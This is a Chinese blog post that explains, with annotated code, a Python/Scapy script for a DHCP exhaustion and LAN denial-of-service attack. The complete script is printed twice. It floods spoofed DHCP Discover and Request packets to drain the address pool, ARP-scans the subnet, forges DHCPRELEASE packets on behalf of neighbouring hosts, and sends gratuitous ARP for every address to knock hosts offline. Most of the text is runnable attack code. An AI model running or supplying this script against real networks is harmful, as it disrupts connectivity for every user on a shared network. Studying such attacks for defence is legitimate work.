简介:
之前在博客上有浏览到其他大神写的耗尽DHCP地址池的攻击脚本,但是没有具体的解析,这里将简单介绍整个脚本的思路,和具体代码分析。
--------------------------------------------------------------分割线---------------------------------------------------------------------
脚本思路:
1.线程1----sniff_dhcp:
过滤抓取DHCP Offer报文,分析Offer报文字段,提取DHCP服务器回应的Offer信息。并根据提取的信息字段,伪造DHCP Request报文,发送
2. 线程2----send_dhcp:
发送DHCP Discover报文,寻找DHCP服务器
3. 主线程:
a.启动线程1----sniff_dhcp
b.启动线程2----send_dhcp
c.根据线程1中提取的offer信息,在DHCP服务器ip的网段中,以DHCP服务器ip为sip,在它的网断内进行arp扫描,并过滤收包,arp[7]=2代表是arp的回应包
d.伪造终端给dhcp服务器发送release报文,让dhcp服务器释放掉ip地址
e.伪造地址池中网段中的主机,发送免费arp,刷新表项
--------------------------------------------------------------分割线---------------------------------------------------------------------
代码分析:
原有的代码是基于linux的系统的,我的是window系统,而且代码中有一些小改动,但是整体的思路都是一样的。
这里先分段介绍,代码里面会有详细的中文备注,文章的最后,会将所有代码都贴出来
一、线程1,
过滤抓取DHCP Offer报文,分析Offer报文字段,提取DHCP服务器回应的Offer信息。并根据提取的信息字段,伪造DHCP Request报文,发送
#
# sniff DHCP Offers and ACK
#
class sniff_dhcp(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.filter = "udp and src port 67 and dst port 68"
self.kill_received = False
self.dhcpcount = 0
def run(self):
global dhcpdos
while not self.kill_received and not dhcpdos:
# prn指定回调函数,每当符合filter的报文被探测到时,就会执行回调函数,store:是存储嗅探的包,还是丢弃
sniff(filter=self.filter, prn=self.detect_dhcp, store=0, timeout=3, iface=interface)
# print "timeout waiting on dhcp packet count %d" % self.dhcpcount
self.dhcpcount += 1
if self.dhcpcount == 5: # 当超过5次没收到offer包,置位(也就是15秒)
dhcpdos = True
def detect_dhcp(self, pkt):
global dhcpsmac, dhcpsip, subnet
if DHCP in pkt:
if pkt[DHCP] and pkt[DHCP].options[0][1] == 2: # 代表是dhcp offer报文
self.dhcpcount = 0
dhcpsip = pkt[IP].src
dhcpsmac = pkt[Ether].src
for opt in pkt[DHCP].options: # 遍历option,找到掩码字段
if opt[0] == 'subnet_mask':
subnet = opt[1]
break
myip = pkt[BOOTP].yiaddr # 客户端的ip,服务器分发的
sip = pkt[BOOTP].siaddr # 表明DHCP协议流程的下一个阶段要使用的 服务器 的IP地址 (0.0.0.0)
localxid = pkt[BOOTP].xid # 事物ID
localm = unpack_mac(pkt[BOOTP].chaddr) # 客户端的硬件地址
myhostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
print("DHCPOFFER handing out IP: " + myip)
# 是否打印详细信息
if verbose:
print(
"DHCPOFFER detected from " + pkt[Ether].src,
sip + " on " + interface + ", handing out IP: " + myip)
# 根据上一步捕获到的offer包信息,伪造request报文去请求ip地址
dhcp_req = Ether(src=localm, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(
sport=68, dport=67) / BOOTP(chaddr=[mac2str(localm)], xid=localxid) / DHCP(
options=[("message-type", "request"), ("server_id", sip), ("requested_addr", myip),
("hostname", myhostname), ("param_req_list", "pad"), "end"])
sendp(dhcp_req, verbose=0, iface=interface)
print "sent DHCP Request for " + myip
二、线程2–
发送DHCP Discover报文,寻找DHCP服务器
#
# loop and send Discovers
#
class send_dhcp(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.kill_received = False
def run(self):
global timer, dhcpdos
while not self.kill_received and not dhcpdos:
m = random_mac()
myxid = random.randint(1, 900000000)
hostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
dhcp_discover = Ether(src=m, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(
sport=68, dport=67) / BOOTP(chaddr=[mac2str(m)], xid=myxid) / DHCP(
options=[("message-type", "discover"), ("hostname", hostname), "end"])
print "\n\n\nSending DHCPDISCOVER on " + interface
sendp(dhcp_discover, verbose=0, iface=interface)
time.sleep(timer)
三、主线程:
a.启动线程1----sniff_dhcp
b.启动线程2----send_dhcp
c.根据线程1中提取的offer信息,在DHCP服务器ip的网段中,以DHCP服务器ip为sip,在它的网断内进行arp扫描,并过滤收包,arp[7]=2代表是arp的回应包
d.伪造终端给dhcp服务器发送release报文,让dhcp服务器释放掉ip地址
e.伪造地址池中网段中的主机,发送免费arp,刷新表项
def main(args):
checkArgs()
signal.signal(signal.SIGINT, signal_handler)
ada_name = get_ada_name()
global t1, t2, t3, dhcpdos, dhcpsip, dhcpmac, subnet, nodes, timer
dhcpsip = None
dhcpsmac = None
subnet = None
nodes = {}
dhcpdos = False
timer = 1
# 先启动sniff抓包线程
t1 = sniff_dhcp()
t1.start()
# 启动发送dhcp_discover线程
t2 = send_dhcp()
t2.start()
while dhcpsip is None:
time.sleep(1)
print "waiting for first DHCP Server response on " + interface
print dhcpsip
neighbors()
release(ada_name[0])
# 等待DHCP地址池被耗尽
while not dhcpdos:
time.sleep(5)
print "waiting for DOS"
print "DHCP Exhausted, knock all remaining hosts offline"
time.sleep(10)
# 伪造网段中的主机,发送免费arp
garp(ada_name[0])
print "All done"
def usage():
print __doc__
if __name__ == '__main__':
sys.exit(not main(sys.argv))
四、其他辅助的函数:
下面会贴出其他辅助的函数,比如必要的网络参数解析、arp网段扫描、网卡识别等等
def checkArgs():
global Field, Value, ada_name
try:
# 过滤掉脚本的第一个参数
# getopt返回两个列表,opts和args,
# args为不属于格式信息的剩余的命令行参数,即不是按照getopt()里面定义的长或短选项字符和附加参数以外的信息
# opts是一个两元组的列表。每个元素为:(选项串, 附加参数)。如果没有附加参数则为空串
opts, args = getopt.getopt(sys.argv[1:], "hd")
except getopt.GetoptError, err:
# print help information and exit:
print str(err) # will print something like "option -a not recognized"
usage()
sys.exit(2)
for o, a in opts:
if o in ("-d", "--debug"):
global verbose
verbose = True
elif o in ("-h", "--help"):
usage()
sys.exit()
else:
assert False, "unhandled option"
if len(args) == 1:
global interface
interface = args[0]
else:
# 改动,如果脚本没参数,则选择默认的第一个网卡
ada_name = get_ada_name()
interface = ada_name[0]
usage()
# sys.exit(2)
# 掐断后指令,将标记置位
def signal_handler(signal, frame):
print 'Exit'
t1.kill_received = True
t2.kill_received = True
sys.exit(0)
######################################
# Necessary Network functions not included in scapy
#
def random_mac():
mac = [0x00, 0x0c, 0x29,
random.randint(0x00, 0x7f),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff)]
return ':'.join(map(lambda x: "%02x" % x, mac))
def to_num(ip):
"convert decimal dotted quad string to long integer"
return struct.unpack('L', socket.inet_aton(ip))[0]
def get_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
my_host_name = socket.gethostname()
return socket.gethostbyname(my_host_name)
def get_if_net(iff):
for net, msk, gw, iface, addr in read_routes():
if iff == iface and net != 0L:
return ltoa(net)
warning("No net address found for iface %s\n" % iff);
def get_if_ip(iff):
for net, msk, gw, iface, addr in read_routes():
if iff == iface and net != 0L:
return addr
warning("No net address found for iface %s\n" % iff);
# 将点分十进制的mask,转换为十进制掩码
# ex:255.255.255.0转为24
def calc_cidr(mask):
mask = mask.split('.')
bits = []
for c in mask:
bits.append(bin(int(c)))
bits = ''.join(bits)
cidr = 0
for c in bits:
if c == '1':
cidr += 1
return str(cidr)
def unpack_mac(binmac):
# 转成16进制表示
mac = binascii.hexlify(binmac)[0:12]
blocks = [mac[x:x + 2] for x in xrange(0, len(mac), 2)]
return ':'.join(blocks)
def get_ada_name():
# 返回网卡名称列表
adapters_info = []
info = ifaddr.get_adapters()
for k in info:
print k.nice_name
adapters_info.append(k.nice_name)
return adapters_info
# ARP and create map of LAN neighbors
# 以DHCP服务器ip为sip,在它的网断内进行arp扫描,并过滤收包,arp[7]=2代表是arp的回应包
def neighbors():
global dhcpsip, subnet, nodes
nodes = {}
rand_mac = random_mac()
net = dhcpsip + "/" + calc_cidr(subnet)
ans, unans = srp(Ether(src=rand_mac, dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=net, psrc=dhcpsip), timeout=8,
filter="arp and arp[7] = 2")
for request, reply in ans:
nodes[reply.hwsrc] = reply.psrc # hwsrc回应报文中的srcmac,psrc回应报文中的sip,
# 也就是网段中正常获取ip地址的主机mac/ip的信息,存入字段变量nodes中
print "%15s - %s " % (reply.psrc, reply.hwsrc)
#
# send release for our neighbors
#
def release(interface):
global dhcpsmac, dhcpsip, nodes
print "*** Sending DHCPRELEASE for neighbors "
myxid = random.randint(1, 900000000)
#
# iterate over all ndoes and release their IP from DHCP server
# 伪造终端给dhcp服务器发送release报文,让dhcp服务器释放掉ip地址
for cmac, cip in nodes.iteritems():
dhcp_release = Ether(src=cmac, dst=dhcpsmac) / IP(src=cip, dst=dhcpsip) / UDP(sport=68, dport=67) / BOOTP(
ciaddr=cip, chaddr=[mac2str(cmac)], xid=myxid, ) / DHCP(
options=[("message-type", "release"), ("server_id", dhcpsip), ("client_id", chr(1), mac2str(cmac)), "end"])
sendp(dhcp_release, verbose=0, iface=interface)
print "Releasing %s - %s" % (cmac, cip)
# if verbose:
# print "%r" % dhcp_release
"""
xid:事务ID,由客户端选择的一个随机数,被服务器和客户端用来在它们之间交流请求和响应,
客户端用它对请求和应答进行匹配。该ID由客户端设置并由服务器返回,为32位整数
ciaddr:客户端的IP地址。只有客户端是Bound、Renew、Rebinding状态,并且能响应ARP请求时,才能被填充
chaddr:客户端硬件地址。客户端必须设置它的"chaddr"字段。UDP数据包中的以太网帧首部也有该字段,但通常通过查看UDP
数据包来确定以太网帧首部中的该字段获取该值比较困难或者说不可能,而在UDP协议承载的DHCP报文中设置该字段,
用户进程就可以很容易地获取该值
"""
#
# now knock everyone offline
# 伪造网段中的主机,发送免费arp
def garp(interface):
global dhcpsip, subnet
pool = Net(dhcpsip + "/" + calc_cidr(subnet))
for ip in pool:
m = random_mac()
arpp = Ether(src=m, dst="ff:ff:ff:ff:ff:ff") / ARP(hwsrc=m, psrc=ip, hwdst="00:00:00:00:00:00", pdst=ip)
sendp(arpp, verbose=0, iface=interface) # verbose=0不显示详细信息
print "Knocking %s offline, goodbye" % ip
# if verbose:
# print "%r" % arpp
"""
hwsrc: 二层源mac (sender mac)
hwdst:二层目的mac (target mac)
psrc:三层源ip (sender ip)
pdst:三层目的ip (target ip )
"""
五、脚本整体!~~
# coding=utf-8
"""
DHCP exhaustion attack plus.
Usage:
pig.py [-d -h] <interface>
"""
import binascii
import ifaddr
from scapy.all import *
from scapy.layers.dhcp import DHCP, BOOTP
from scapy.layers.inet import IP, UDP
from scapy.layers.l2 import Ether, ARP
import getopt
import random
import signal
import string
import sys
import threading
conf.checkIPaddr = False
verbose = False
Debug = False
def checkArgs():
global Field, Value, ada_name
try:
# 过滤掉脚本的第一个参数
# getopt返回两个列表,opts和args,
# args为不属于格式信息的剩余的命令行参数,即不是按照getopt()里面定义的长或短选项字符和附加参数以外的信息
# opts是一个两元组的列表。每个元素为:(选项串, 附加参数)。如果没有附加参数则为空串
opts, args = getopt.getopt(sys.argv[1:], "hd")
except getopt.GetoptError, err:
# print help information and exit:
print str(err) # will print something like "option -a not recognized"
usage()
sys.exit(2)
for o, a in opts:
if o in ("-d", "--debug"):
global verbose
verbose = True
elif o in ("-h", "--help"):
usage()
sys.exit()
else:
assert False, "unhandled option"
if len(args) == 1:
global interface
interface = args[0]
else:
# 改动,如果脚本没参数,则选择默认的第一个网卡
ada_name = get_ada_name()
interface = ada_name[0]
usage()
# sys.exit(2)
# 掐断后指令,将标记置位
def signal_handler(signal, frame):
print 'Exit'
t1.kill_received = True
t2.kill_received = True
sys.exit(0)
######################################
# Necessary Network functions not included in scapy
#
def random_mac():
mac = [0x00, 0x0c, 0x29,
random.randint(0x00, 0x7f),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff)]
return ':'.join(map(lambda x: "%02x" % x, mac))
def to_num(ip):
"convert decimal dotted quad string to long integer"
return struct.unpack('L', socket.inet_aton(ip))[0]
def get_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
my_host_name = socket.gethostname()
return socket.gethostbyname(my_host_name)
def get_if_net(iff):
for net, msk, gw, iface, addr in read_routes():
if iff == iface and net != 0L:
return ltoa(net)
warning("No net address found for iface %s\n" % iff);
def get_if_ip(iff):
for net, msk, gw, iface, addr in read_routes():
if iff == iface and net != 0L:
return addr
warning("No net address found for iface %s\n" % iff);
# 将点分十进制的mask,转换为十进制掩码
# ex:255.255.255.0转为24
def calc_cidr(mask):
mask = mask.split('.')
bits = []
for c in mask:
bits.append(bin(int(c)))
bits = ''.join(bits)
cidr = 0
for c in bits:
if c == '1':
cidr += 1
return str(cidr)
def unpack_mac(binmac):
# 转成16进制表示
mac = binascii.hexlify(binmac)[0:12]
blocks = [mac[x:x + 2] for x in xrange(0, len(mac), 2)]
return ':'.join(blocks)
def get_ada_name():
# 返回网卡名称列表
adapters_info = []
info = ifaddr.get_adapters()
for k in info:
print k.nice_name
adapters_info.append(k.nice_name)
return adapters_info
# ARP and create map of LAN neighbors
# 以DHCP服务器ip为sip,在它的网断内进行arp扫描,并过滤收包,arp[7]=2代表是arp的回应包
def neighbors():
global dhcpsip, subnet, nodes
nodes = {}
rand_mac = random_mac()
net = dhcpsip + "/" + calc_cidr(subnet)
ans, unans = srp(Ether(src=rand_mac, dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=net, psrc=dhcpsip), timeout=8,
filter="arp and arp[7] = 2")
for request, reply in ans:
nodes[reply.hwsrc] = reply.psrc # hwsrc回应报文中的srcmac,psrc回应报文中的sip,
# 也就是网段中正常获取ip地址的主机mac/ip的信息,存入字段变量nodes中
print "%15s - %s " % (reply.psrc, reply.hwsrc)
#
# send release for our neighbors
#
def release(interface):
global dhcpsmac, dhcpsip, nodes
print "*** Sending DHCPRELEASE for neighbors "
myxid = random.randint(1, 900000000)
#
# iterate over all ndoes and release their IP from DHCP server
# 伪造终端给dhcp服务器发送release报文,让dhcp服务器释放掉ip地址
for cmac, cip in nodes.iteritems():
dhcp_release = Ether(src=cmac, dst=dhcpsmac) / IP(src=cip, dst=dhcpsip) / UDP(sport=68, dport=67) / BOOTP(
ciaddr=cip, chaddr=[mac2str(cmac)], xid=myxid, ) / DHCP(
options=[("message-type", "release"), ("server_id", dhcpsip), ("client_id", chr(1), mac2str(cmac)), "end"])
sendp(dhcp_release, verbose=0, iface=interface)
print "Releasing %s - %s" % (cmac, cip)
# if verbose:
# print "%r" % dhcp_release
"""
xid:事务ID,由客户端选择的一个随机数,被服务器和客户端用来在它们之间交流请求和响应,
客户端用它对请求和应答进行匹配。该ID由客户端设置并由服务器返回,为32位整数
ciaddr:客户端的IP地址。只有客户端是Bound、Renew、Rebinding状态,并且能响应ARP请求时,才能被填充
chaddr:客户端硬件地址。客户端必须设置它的"chaddr"字段。UDP数据包中的以太网帧首部也有该字段,但通常通过查看UDP
数据包来确定以太网帧首部中的该字段获取该值比较困难或者说不可能,而在UDP协议承载的DHCP报文中设置该字段,
用户进程就可以很容易地获取该值
"""
#
# now knock everyone offline
# 伪造网段中的主机,发送免费arp
def garp(interface):
global dhcpsip, subnet
pool = Net(dhcpsip + "/" + calc_cidr(subnet))
for ip in pool:
m = random_mac()
arpp = Ether(src=m, dst="ff:ff:ff:ff:ff:ff") / ARP(hwsrc=m, psrc=ip, hwdst="00:00:00:00:00:00", pdst=ip)
sendp(arpp, verbose=0, iface=interface) # verbose=0不显示详细信息
print "Knocking %s offline, goodbye" % ip
# if verbose:
# print "%r" % arpp
"""
hwsrc: 二层源mac (sender mac)
hwdst:二层目的mac (target mac)
psrc:三层源ip (sender ip)
pdst:三层目的ip (target ip )
"""
#
# loop and send Discovers
#
class send_dhcp(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.kill_received = False
def run(self):
global timer, dhcpdos
while not self.kill_received and not dhcpdos:
m = random_mac()
myxid = random.randint(1, 900000000)
hostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
dhcp_discover = Ether(src=m, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(
sport=68, dport=67) / BOOTP(chaddr=[mac2str(m)], xid=myxid) / DHCP(
options=[("message-type", "discover"), ("hostname", hostname), "end"])
print "\n\n\nSending DHCPDISCOVER on " + interface
sendp(dhcp_discover, verbose=0, iface=interface)
time.sleep(timer)
#
#
# sniff DHCP Offers and ACK
#
class sniff_dhcp(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.filter = "udp and src port 67 and dst port 68"
self.kill_received = False
self.dhcpcount = 0
def run(self):
global dhcpdos
while not self.kill_received and not dhcpdos:
# prn指定回调函数,每当符合filter的报文被探测到时,就会执行回调函数,store:是存储嗅探的包,还是丢弃
sniff(filter=self.filter, prn=self.detect_dhcp, store=0, timeout=3, iface=interface)
# print "timeout waiting on dhcp packet count %d" % self.dhcpcount
self.dhcpcount += 1
if self.dhcpcount == 5: # 当超过5次没收到offer包,置位(也就是15秒)
dhcpdos = True
def detect_dhcp(self, pkt):
global dhcpsmac, dhcpsip, subnet
if DHCP in pkt:
if pkt[DHCP] and pkt[DHCP].options[0][1] == 2: # 代表是dhcp offer报文
self.dhcpcount = 0
dhcpsip = pkt[IP].src
dhcpsmac = pkt[Ether].src
for opt in pkt[DHCP].options: # 遍历option,找到掩码字段
if opt[0] == 'subnet_mask':
subnet = opt[1]
break
myip = pkt[BOOTP].yiaddr # 客户端的ip,服务器分发的
sip = pkt[BOOTP].siaddr # 表明DHCP协议流程的下一个阶段要使用的 服务器 的IP地址 (0.0.0.0)
localxid = pkt[BOOTP].xid # 事物ID
localm = unpack_mac(pkt[BOOTP].chaddr) # 客户端的硬件地址
myhostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
print("DHCPOFFER handing out IP: " + myip)
# 是否打印详细信息
if verbose:
print(
"DHCPOFFER detected from " + pkt[Ether].src,
sip + " on " + interface + ", handing out IP: " + myip)
# 根据上一步捕获到的offer包信息,伪造request报文去请求ip地址
dhcp_req = Ether(src=localm, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(
sport=68, dport=67) / BOOTP(chaddr=[mac2str(localm)], xid=localxid) / DHCP(
options=[("message-type", "request"), ("server_id", sip), ("requested_addr", myip),
("hostname", myhostname), ("param_req_list", "pad"), "end"])
sendp(dhcp_req, verbose=0, iface=interface)
print "sent DHCP Request for " + myip
#
#
# MAIN()
#
def main(args):
checkArgs()
signal.signal(signal.SIGINT, signal_handler)
ada_name = get_ada_name()
global t1, t2, t3, dhcpdos, dhcpsip, dhcpmac, subnet, nodes, timer
dhcpsip = None
dhcpsmac = None
subnet = None
nodes = {}
dhcpdos = False
timer = 1
# 先启动sniff抓包线程
t1 = sniff_dhcp()
t1.start()
# 启动发送dhcp_discover线程
t2 = send_dhcp()
t2.start()
while dhcpsip is None:
time.sleep(1)
print "waiting for first DHCP Server response on " + interface
print dhcpsip
neighbors()
release(ada_name[0])
# 等待DHCP地址池被耗尽
while not dhcpdos:
time.sleep(5)
print "waiting for DOS"
print "DHCP Exhausted, knock all remaining hosts offline"
time.sleep(10)
# 伪造网段中的主机,发送免费arp
garp(ada_name[0])
print "All done"
def usage():
print __doc__
if __name__ == '__main__':
sys.exit(not main(sys.argv))